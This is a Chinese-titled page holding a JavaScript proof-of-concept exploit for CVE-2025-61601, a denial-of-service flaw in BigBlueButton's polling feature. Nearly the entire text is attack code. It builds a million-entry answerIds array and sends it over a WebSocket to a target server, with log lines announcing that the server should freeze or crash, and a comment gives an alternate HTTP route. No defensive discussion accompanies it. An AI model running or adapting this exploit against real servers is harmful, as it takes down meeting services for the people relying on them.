CVE-2025-61601 BigBlueButton 投票功能拒绝服务漏洞

// CVE-2025-61601 PoC - BigBlueButton Polling DoS via answerIds // Vulnerability: Unbounded array in polling 'Choices' response causes DoS // Affected: BigBlueButton < 3.0.13 const WebSocket = require('ws'); const https = require('https'); // Configuration const BBB_SERVER = 'https://your-bbb-server.com/bigbluebutton'; const MEETING_ID = 'your-meeting-id'; const USER_TOKEN = 'your-auth-token'; // Authenticated user token // Generate a massive array of answerIds to trigger resource exhaustion function generateMaliciousPayload() { const MASSIVE_SIZE = 1000000; // 1 million entries to exhaust server resources const answerIds = new Array(MASSIVE_SIZE); for (let i = 0; i < MASSIVE_SIZE; i++) { answerIds[i] = i; } return { header: { name: 'RespondToPollRequest', meetingId: MEETING_ID, userId: USER_TOKEN }, payload: { pollId: 'target-poll-id', answerIds: answerIds // Malicious oversized array } }; } // Send the malicious payload via WebSocket async function exploit() { const payload = generateMaliciousPayload(); const wsUrl = BBB_SERVER.replace('https://', 'wss://') + '/ws'; // WebSocket endpoint const ws = new WebSocket(wsUrl); ws.on('open', () => { console.log('[+] Connected to BigBlueButton server'); console.log(`[+] Sending malicious payload with ${payload.payload.answerIds.length} answerIds...`); ws.send(JSON.stringify(payload)); console.log('[+] Payload sent. Server should freeze/crash shortly.'); }); ws.on('error', (err) => { console.log(`[-] Error: ${err.message}`); console.log('[+] Server may have become unresponsive - DoS triggered!'); }); ws.on('close', () => { console.log('[+] Connection closed'); }); } exploit(); // Alternative: HTTP API approach // POST /bigbluebutton/api/polls/respond // Body: { "pollId": "xxx", "answerIds": [/* massive array */] }